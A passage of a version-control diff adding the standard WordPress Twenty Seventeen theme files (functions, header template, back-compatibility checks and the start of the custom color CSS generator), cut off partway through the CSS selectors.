+		'nav_menus' => array(
+			// Assign a menu to the "top" location.
+			'top' => array(
+				'name' => __( 'Top Menu', 'twentyseventeen' ),
+				'items' => array(
+					'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
+					'page_about',
+					'page_blog',
+					'page_contact',
+				),
+			),
+
+			// Assign a menu to the "social" location.
+			'social' => array(
+				'name' => __( 'Social Links Menu', 'twentyseventeen' ),
+				'items' => array(
+					'link_yelp',
+					'link_facebook',
+					'link_twitter',
+					'link_instagram',
+					'link_email',
+				),
+			),
+		),
+	);
+
+	/**
+	 * Filters Twenty Seventeen array of starter content.
+	 *
+	 * @since Twenty Seventeen 1.1
+	 *
+	 * @param array $starter_content Array of starter content.
+	 */
+	$starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
+
+	add_theme_support( 'starter-content', $starter_content );
+}
+add_action( 'after_setup_theme', 'twentyseventeen_setup' );
+
+/**
+ * Set the content width in pixels, based on the theme's design and stylesheet.
+ *
+ * Priority 0 to make it available to lower priority callbacks.
+ *
+ * @global int $content_width
+ */
+function twentyseventeen_content_width() {
+
+	$content_width = $GLOBALS['content_width'];
+
+	// Get layout.
+	$page_layout = get_theme_mod( 'page_layout' );
+
+	// Check if layout is one column.
+	if ( 'one-column' === $page_layout ) {
+		if ( twentyseventeen_is_frontpage() ) {
+			$content_width = 644;
+		} elseif ( is_page() ) {
+			$content_width = 740;
+		}
+	}
+
+	// Check if is single post and there is no sidebar.
+	if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
+		$content_width = 740;
+	}
+
+	/**
+	 * Filter Twenty Seventeen content width of the theme.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param int $content_width Content width in pixels.
+	 */
+	$GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
+}
+add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
+
+/**
+ * Register custom fonts.
+ */
+function twentyseventeen_fonts_url() {
+	$fonts_url = '';
+
+	/*
+	 * Translators: If there are characters in your language that are not
+	 * supported by Libre Franklin, translate this to 'off'. Do not translate
+	 * into your own language.
+	 */
+	$libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
+
+	if ( 'off' !== $libre_franklin ) {
+		$font_families = array();
+
+		$font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
+
+		$query_args = array(
+			'family' => urlencode( implode( '|', $font_families ) ),
+			'subset' => urlencode( 'latin,latin-ext' ),
+		);
+
+		$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
+	}
+
+	return esc_url_raw( $fonts_url );
+}
+
+/**
+ * Add preconnect for Google Fonts.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param array  $urls           URLs to print for resource hints.
+ * @param string $relation_type  The relation type the URLs are printed.
+ * @return array $urls           URLs to print for resource hints.
+ */
+function twentyseventeen_resource_hints( $urls, $relation_type ) {
+	if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
+		$urls[] = array(
+			'href' => 'https://fonts.gstatic.com',
+			'crossorigin',
+		);
+	}
+
+	return $urls;
+}
+add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
+
+/**
+ * Register widget area.
+ *
+ * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
+ */
+function twentyseventeen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Blog Sidebar', 'twentyseventeen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Footer 1', 'twentyseventeen' ),
+		'id'            => 'sidebar-2',
+		'description'   => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+
+	register_sidebar( array(
+		'name'          => __( 'Footer 2', 'twentyseventeen' ),
+		'id'            => 'sidebar-3',
+		'description'   => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
+		'before_widget' => '<section id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</section>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+}
+add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
+
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ... and
+ * a 'Continue reading' link.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param string $link Link to single post/page.
+ * @return string 'Continue reading' link prepended with an ellipsis.
+ */
+function twentyseventeen_excerpt_more( $link ) {
+	if ( is_admin() ) {
+		return $link;
+	}
+
+	$link = sprintf( '<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
+		esc_url( get_permalink( get_the_ID() ) ),
+		/* translators: %s: Name of current post */
+		sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
+	);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
+
+/**
+ * Handles JavaScript detection.
+ *
+ * Adds a `js` class to the root `<html>` element when JavaScript is detected.
+ *
+ * @since Twenty Seventeen 1.0
+ */
+function twentyseventeen_javascript_detection() {
+	echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
+}
+add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
+
+/**
+ * Add a pingback url auto-discovery header for singularly identifiable articles.
+ */
+function twentyseventeen_pingback_header() {
+	if ( is_singular() && pings_open() ) {
+		printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
+	}
+}
+add_action( 'wp_head', 'twentyseventeen_pingback_header' );
+
+/**
+ * Display custom color CSS.
+ */
+function twentyseventeen_colors_css_wrap() {
+	if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
+		return;
+	}
+
+	require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
+	$hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
+?>
+	<style type="text/css" id="custom-theme-colors" <?php if ( is_customize_preview() ) { echo 'data-hue="' . $hue . '"'; } ?>>
+		<?php echo twentyseventeen_custom_colors_css(); ?>
+	</style>
+<?php }
+add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
+
+/**
+ * Enqueue scripts and styles.
+ */
+function twentyseventeen_scripts() {
+	// Add custom fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
+
+	// Theme stylesheet.
+	wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentyseventeen-block-style', get_theme_file_uri( '/assets/css/blocks.css' ), array( 'twentyseventeen-style' ), '1.1' );
+
+	// Load the dark colorscheme.
+	if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
+		wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
+	}
+
+	// Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
+	if ( is_customize_preview() ) {
+		wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
+		wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
+	}
+
+	// Load the Internet Explorer 8 specific stylesheet.
+	wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
+	wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
+
+	// Load the html5 shiv.
+	wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
+	wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
+
+	wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
+
+	$twentyseventeen_l10n = array(
+		'quote'          => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
+	);
+
+	if ( has_nav_menu( 'top' ) ) {
+		wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
+		$twentyseventeen_l10n['expand']         = __( 'Expand child menu', 'twentyseventeen' );
+		$twentyseventeen_l10n['collapse']       = __( 'Collapse child menu', 'twentyseventeen' );
+		$twentyseventeen_l10n['icon']           = twentyseventeen_get_svg( array( 'icon' => 'angle-down', 'fallback' => true ) );
+	}
+
+	wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
+
+	wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
+
+	wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+}
+add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Seventeen 1.8
+ */
+function twentyseventeen_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentyseventeen-block-editor-style', get_theme_file_uri( '/assets/css/editor-blocks.css' ), array(), '1.1' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentyseventeen_block_editor_styles' );
+
+/**
+ * Add custom image sizes attribute to enhance responsive image functionality
+ * for content images.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param string $sizes A source size value for use in a 'sizes' attribute.
+ * @param array  $size  Image size. Accepts an array of width and height
+ *                      values in pixels (in that order).
+ * @return string A source size value for use in a content image 'sizes' attribute.
+ */
+function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
+	$width = $size[0];
+
+	if ( 740 <= $width ) {
+		$sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
+	}
+
+	if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
+		if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
+			 $sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
+		}
+	}
+
+	return $sizes;
+}
+add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
+
+/**
+ * Filter the `sizes` value in the header image markup.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param string $html   The HTML image tag markup being filtered.
+ * @param object $header The custom header object returned by 'get_custom_header()'.
+ * @param array  $attr   Array of the attributes for the image tag.
+ * @return string The filtered header image HTML.
+ */
+function twentyseventeen_header_image_tag( $html, $header, $attr ) {
+	if ( isset( $attr['sizes'] ) ) {
+		$html = str_replace( $attr['sizes'], '100vw', $html );
+	}
+	return $html;
+}
+add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
+
+/**
+ * Add custom image sizes attribute to enhance responsive image functionality
+ * for post thumbnails.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param array $attr       Attributes for the image markup.
+ * @param int   $attachment Image attachment ID.
+ * @param array $size       Registered image size or flat array of height and width dimensions.
+ * @return array The filtered attributes for the image markup.
+ */
+function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
+	if ( is_archive() || is_search() || is_home() ) {
+		$attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
+	} else {
+		$attr['sizes'] = '100vw';
+	}
+
+	return $attr;
+}
+add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
+
+/**
+ * Use front-page.php when Front page displays is set to a static page.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @param string $template front-page.php.
+ *
+ * @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
+ */
+function twentyseventeen_front_page_template( $template ) {
+	return is_home() ? '' : $template;
+}
+add_filter( 'frontpage_template',  'twentyseventeen_front_page_template' );
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Seventeen 1.4
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentyseventeen_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 1;
+	$args['smallest'] = 1;
+	$args['unit']     = 'em';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentyseventeen_widget_tag_cloud_args' );
+
+/**
+ * Get unique ID.
+ *
+ * This is a PHP implementation of Underscore's uniqueId method. A static variable
+ * contains an integer that is incremented with each call. This number is returned
+ * with the optional prefix. As such the returned value is not universally unique,
+ * but it is unique across the life of the PHP process.
+ *
+ * @since Twenty Seventeen 2.0
+ * @see wp_unique_id() Themes requiring WordPress 5.0.3 and greater should use this instead.
+ *
+ * @staticvar int $id_counter
+ *
+ * @param string $prefix Prefix for the returned ID.
+ * @return string Unique ID.
+ */
+function twentyseventeen_unique_id( $prefix = '' ) {
+	static $id_counter = 0;
+	if ( function_exists( 'wp_unique_id' ) ) {
+		return wp_unique_id( $prefix );
+	}
+	return $prefix . (string) ++$id_counter;
+}
+
+/**
+ * Implement the Custom Header feature.
+ */
+require get_parent_theme_file_path( '/inc/custom-header.php' );
+
+/**
+ * Custom template tags for this theme.
+ */
+require get_parent_theme_file_path( '/inc/template-tags.php' );
+
+/**
+ * Additional features to allow styling of the templates.
+ */
+require get_parent_theme_file_path( '/inc/template-functions.php' );
+
+/**
+ * Customizer additions.
+ */
+require get_parent_theme_file_path( '/inc/customizer.php' );
+
+/**
+ * SVG icons functions and filters.
+ */
+require get_parent_theme_file_path( '/inc/icon-functions.php' );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/header.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * The header for our theme
+ *
+ * This is the template that displays all of the <head> section and everything up until <div id="content">
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?> class="no-js no-svg">
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>">
+<meta name="viewport" content="width=device-width, initial-scale=1">
+<link rel="profile" href="http://gmpg.org/xfn/11">
+
+<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="site">
+	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentyseventeen' ); ?></a>
+
+	<header id="masthead" class="site-header" role="banner">
+
+		<?php get_template_part( 'template-parts/header/header', 'image' ); ?>
+
+		<?php if ( has_nav_menu( 'top' ) ) : ?>
+			<div class="navigation-top">
+				<div class="wrap">
+					<?php get_template_part( 'template-parts/navigation/navigation', 'top' ); ?>
+				</div><!-- .wrap -->
+			</div><!-- .navigation-top -->
+		<?php endif; ?>
+
+	</header><!-- #masthead -->
+
+	<?php
+
+	/*
+	 * If a regular post or page, and not the front page, show the featured image.
+	 * Using get_queried_object_id() here since the $post global may not be set before a call to the_post().
+	 */
+	if ( ( is_single() || ( is_page() && ! twentyseventeen_is_frontpage() ) ) && has_post_thumbnail( get_queried_object_id() ) ) :
+		echo '<div class="single-featured-image-header">';
+		echo get_the_post_thumbnail( get_queried_object_id(), 'twentyseventeen-featured-image' );
+		echo '</div><!-- .single-featured-image-header -->';
+	endif;
+	?>
+
+	<div class="site-content-contain">
+		<div id="content" class="site-content">
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,69 @@
+<?php
+/**
+ * Twenty Seventeen back compat functionality
+ *
+ * Prevents Twenty Seventeen from running on WordPress versions prior to 4.7,
+ * since this theme is not meant to be backward compatible beyond that and
+ * relies on many newer functions and markup changes introduced in 4.7.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since Twenty Seventeen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Seventeen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Seventeen 1.0
+ */
+function twentyseventeen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentyseventeen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentyseventeen_switch_theme' );
+
+/**
+ * Adds a message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Seventeen on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentyseventeen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Seventeen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentyseventeen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevents the Customizer from being loaded on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentyseventeen_customize() {
+	wp_die( sprintf( __( 'Twenty Seventeen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentyseventeen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentyseventeen_customize' );
+
+/**
+ * Prevents the Theme Preview from being loaded on WordPress versions prior to 4.7.
+ *
+ * @since Twenty Seventeen 1.0
+ *
+ * @global string $wp_version WordPress version.
+ */
+function twentyseventeen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Seventeen requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'twentyseventeen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentyseventeen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/color-patterns.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/color-patterns.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/color-patterns.php	(revision 56912)
@@ -0,0 +1,580 @@
+<?php
+/**
+ * Twenty Seventeen: Color Patterns
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Generate the CSS for the current custom color scheme.
+ */
+function twentyseventeen_custom_colors_css() {
+	$hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
+
+	/**
+	 * Filter Twenty Seventeen default saturation level.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param int $saturation Color saturation level.
+	 */
+	$saturation = absint( apply_filters( 'twentyseventeen_custom_colors_saturation', 50 ) );
+	$reduced_saturation = ( .8 * $saturation ) . '%';
+	$saturation = $saturation . '%';
+	$css = '
+/**
+ * Twenty Seventeen: Color Patterns
+ *
+ * Colors are ordered from dark to light.
+ */
+
+.colors-custom a:hover,
+.colors-custom a:active,
+.colors-custom .entry-content a:focus,
+.colors-custom .entry-content a:hover,
+.colors-custom .entry-summary a:focus,
+.colors-custom .entry-summary a:hover,
+.colors-custom .comment-content a:focus,
+.colors-custom .comment-content a:hover,
+.colors-custom .widget a:focus,
+.colors-custom .widget a:hover,
+.colors-custom .site-footer .widget-area a:focus,
+.colors-custom .site-footer .widget-area a:hover,
+.colors-custom .posts-navigation a:focus,
+.colors-custom .posts-navigation a:hover,
+.colors-custom .comment-metadata a:focus,
+.colors-custom .comment-metadata a:hover,
+.colors-custom .comment-metadata a.comment-edit-link:focus,
+.colors-custom .comment-metadata a.comment-edit-link:hover,
+.colors-custom .comment-reply-link:focus,
+.colors-custom .comment-reply-link:hover,
+.colors-custom .widget_authors a:focus strong,
+.colors-custom .widget_authors a:hover strong,
+.colors-custom .entry-title a:focus,
+.colors-custom .entry-title a:hover,
+.colors-custom .entry-meta a:focus,
+.colors-custom .entry-meta a:hover,
+.colors-custom.blog .entry-meta a.post-edit-link:focus,
+.colors-custom.blog .entry-meta a.post-edit-link:hover,
+.colors-custom.archive .entry-meta a.post-edit-link:focus,
+.colors-custom.archive .entry-meta a.post-edit-link:hover,
+.colors-custom.search .entry-meta a.post-edit-link:focus,
+.colors-custom.search .entry-meta a.post-edit-link:hover,
+.colors-custom .page-links a:focus .page-number,
+.colors-custom .page-links a:hover .page-number,
+.colors-custom .entry-footer a:focus,
+.colors-custom .entry-footer a:hover,
+.colors-custom .entry-footer .cat-links a:focus,
+.colors-custom .entry-footer .cat-links a:hover,
+.colors-custom .entry-footer .tags-links a:focus,
+.colors-custom .entry-footer .tags-links a:hover,
+.colors-custom .post-navigation a:focus,
+.colors-custom .post-navigation a:hover,
+.colors-custom .pagination a:not(.prev):not(.next):focus,
+.colors-custom .pagination a:not(.prev):not(.next):hover,
+.colors-custom .comments-pagination a:not(.prev):not(.next):focus,
+.colors-custom .comments-pagination a:not(.prev):not(.next):hover,
+.colors-custom .logged-in-as a:focus,
+.colors-custom .logged-in-as a:hover,
+.colors-custom a:focus .nav-title,
+.colors-custom a:hover .nav-title,
+.colors-custom .edit-link a:focus,
+.colors-custom .edit-link a:hover,
+.colors-custom .site-info a:focus,
+.colors-custom .site-info a:hover,
+.colors-custom .widget .widget-title a:focus,
+.colors-custom .widget .widget-title a:hover,
+.colors-custom .widget ul li a:focus,
+.colors-custom .widget ul li a:hover {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 0% ); /* base: #000; */
+}
+
+.colors-custom .entry-content a,
+.colors-custom .entry-summary a,
+.colors-custom .comment-content a,
+.colors-custom .widget a,
+.colors-custom .site-footer .widget-area a,
+.colors-custom .posts-navigation a,
+.colors-custom .widget_authors a strong {
+	-webkit-box-shadow: inset 0 -1px 0 hsl( ' . $hue . ', ' . $saturation . ', 6% ); /* base: rgba(15, 15, 15, 1); */
+	box-shadow: inset 0 -1px 0 hsl( ' . $hue . ', ' . $saturation . ', 6% ); /* base: rgba(15, 15, 15, 1); */
+}
+
+.colors-custom button,
+.colors-custom input[type="button"],
+.colors-custom input[type="submit"],
+.colors-custom .entry-footer .edit-link a.post-edit-link {
+	background-color: hsl( ' . $hue . ', ' . $saturation . ', 13% ); /* base: #222; */
+}
+
+.colors-custom input[type="text"]:focus,
+.colors-custom input[type="email"]:focus,
+.colors-custom input[type="url"]:focus,
+.colors-custom input[type="password"]:focus,
+.colors-custom input[type="search"]:focus,
+.colors-custom input[type="number"]:focus,
+.colors-custom input[type="tel"]:focus,
+.colors-custom input[type="range"]:focus,
+.colors-custom input[type="date"]:focus,
+.colors-custom input[type="month"]:focus,
+.colors-custom input[type="week"]:focus,
+.colors-custom input[type="time"]:focus,
+.colors-custom input[type="datetime"]:focus,
+.colors-custom .colors-custom input[type="datetime-local"]:focus,
+.colors-custom input[type="color"]:focus,
+.colors-custom textarea:focus,
+.colors-custom button.secondary,
+.colors-custom input[type="reset"],
+.colors-custom input[type="button"].secondary,
+.colors-custom input[type="reset"].secondary,
+.colors-custom input[type="submit"].secondary,
+.colors-custom a,
+.colors-custom .site-title,
+.colors-custom .site-title a,
+.colors-custom .navigation-top a,
+.colors-custom .dropdown-toggle,
+.colors-custom .menu-toggle,
+.colors-custom .page .panel-content .entry-title,
+.colors-custom .page-title,
+.colors-custom.page:not(.twentyseventeen-front-page) .entry-title,
+.colors-custom .page-links a .page-number,
+.colors-custom .comment-metadata a.comment-edit-link,
+.colors-custom .comment-reply-link .icon,
+.colors-custom h2.widget-title,
+.colors-custom mark,
+.colors-custom .post-navigation a:focus .icon,
+.colors-custom .post-navigation a:hover .icon,
+.colors-custom .site-content .site-content-light,
+.colors-custom .twentyseventeen-panel .recent-posts .entry-header .edit-link {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 13% ); /* base: #222; */
+}
+
+.colors-custom .entry-content a:focus,
+.colors-custom .entry-content a:hover,
+.colors-custom .entry-summary a:focus,
+.colors-custom .entry-summary a:hover,
+.colors-custom .comment-content a:focus,
+.colors-custom .comment-content a:hover,
+.colors-custom .widget a:focus,
+.colors-custom .widget a:hover,
+.colors-custom .site-footer .widget-area a:focus,
+.colors-custom .site-footer .widget-area a:hover,
+.colors-custom .posts-navigation a:focus,
+.colors-custom .posts-navigation a:hover,
+.colors-custom .comment-metadata a:focus,
+.colors-custom .comment-metadata a:hover,
+.colors-custom .comment-metadata a.comment-edit-link:focus,
+.colors-custom .comment-metadata a.comment-edit-link:hover,
+.colors-custom .comment-reply-link:focus,
+.colors-custom .comment-reply-link:hover,
+.colors-custom .widget_authors a:focus strong,
+.colors-custom .widget_authors a:hover strong,
+.colors-custom .entry-title a:focus,
+.colors-custom .entry-title a:hover,
+.colors-custom .entry-meta a:focus,
+.colors-custom .entry-meta a:hover,
+.colors-custom.blog .entry-meta a.post-edit-link:focus,
+.colors-custom.blog .entry-meta a.post-edit-link:hover,
+.colors-custom.archive .entry-meta a.post-edit-link:focus,
+.colors-custom.archive .entry-meta a.post-edit-link:hover,
+.colors-custom.search .entry-meta a.post-edit-link:focus,
+.colors-custom.search .entry-meta a.post-edit-link:hover,
+.colors-custom .page-links a:focus .page-number,
+.colors-custom .page-links a:hover .page-number,
+.colors-custom .entry-footer .cat-links a:focus,
+.colors-custom .entry-footer .cat-links a:hover,
+.colors-custom .entry-footer .tags-links a:focus,
+.colors-custom .entry-footer .tags-links a:hover,
+.colors-custom .post-navigation a:focus,
+.colors-custom .post-navigation a:hover,
+.colors-custom .pagination a:not(.prev):not(.next):focus,
+.colors-custom .pagination a:not(.prev):not(.next):hover,
+.colors-custom .comments-pagination a:not(.prev):not(.next):focus,
+.colors-custom .comments-pagination a:not(.prev):not(.next):hover,
+.colors-custom .logged-in-as a:focus,
+.colors-custom .logged-in-as a:hover,
+.colors-custom a:focus .nav-title,
+.colors-custom a:hover .nav-title,
+.colors-custom .edit-link a:focus,
+.colors-custom .edit-link a:hover,
+.colors-custom .site-info a:focus,
+.colors-custom .site-info a:hover,
+.colors-custom .widget .widget-title a:focus,
+.colors-custom .widget .widget-title a:hover,
+.colors-custom .widget ul li a:focus,
+.colors-custom .widget ul li a:hover {
+	-webkit-box-shadow: inset 0 0 0 hsl( ' . $hue . ', ' . $saturation . ', 13% ), 0 3px 0 hsl( ' . $hue . ', ' . $saturation . ', 13% );
+	box-shadow: inset 0 0 0 hsl( ' . $hue . ', ' . $saturation . ' , 13% ), 0 3px 0 hsl( ' . $hue . ', ' . $saturation . ', 13% );
+}
+
+body.colors-custom,
+.colors-custom button,
+.colors-custom input,
+.colors-custom select,
+.colors-custom textarea,
+.colors-custom h3,
+.colors-custom h4,
+.colors-custom h6,
+.colors-custom label,
+.colors-custom .entry-title a,
+.colors-custom.twentyseventeen-front-page .panel-content .recent-posts article,
+.colors-custom .entry-footer .cat-links a,
+.colors-custom .entry-footer .tags-links a,
+.colors-custom .format-quote blockquote,
+.colors-custom .nav-title,
+.colors-custom .comment-body,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-current-item .wp-playlist-item-album {
+	color: hsl( ' . $hue . ', ' . $reduced_saturation . ', 20% ); /* base: #333; */
+}
+
+.colors-custom .social-navigation a:hover,
+.colors-custom .social-navigation a:focus {
+	background: hsl( ' . $hue . ', ' . $reduced_saturation . ', 20% ); /* base: #333; */
+}
+
+.colors-custom input[type="text"]:focus,
+.colors-custom input[type="email"]:focus,
+.colors-custom input[type="url"]:focus,
+.colors-custom input[type="password"]:focus,
+.colors-custom input[type="search"]:focus,
+.colors-custom input[type="number"]:focus,
+.colors-custom input[type="tel"]:focus,
+.colors-custom input[type="range"]:focus,
+.colors-custom input[type="date"]:focus,
+.colors-custom input[type="month"]:focus,
+.colors-custom input[type="week"]:focus,
+.colors-custom input[type="time"]:focus,
+.colors-custom input[type="datetime"]:focus,
+.colors-custom input[type="datetime-local"]:focus,
+.colors-custom input[type="color"]:focus,
+.colors-custom textarea:focus,
+.bypostauthor > .comment-body > .comment-meta > .comment-author .avatar {
+	border-color: hsl( ' . $hue . ', ' . $reduced_saturation . ', 20% ); /* base: #333; */
+}
+
+.colors-custom h2,
+.colors-custom blockquote,
+.colors-custom input[type="text"],
+.colors-custom input[type="email"],
+.colors-custom input[type="url"],
+.colors-custom input[type="password"],
+.colors-custom input[type="search"],
+.colors-custom input[type="number"],
+.colors-custom input[type="tel"],
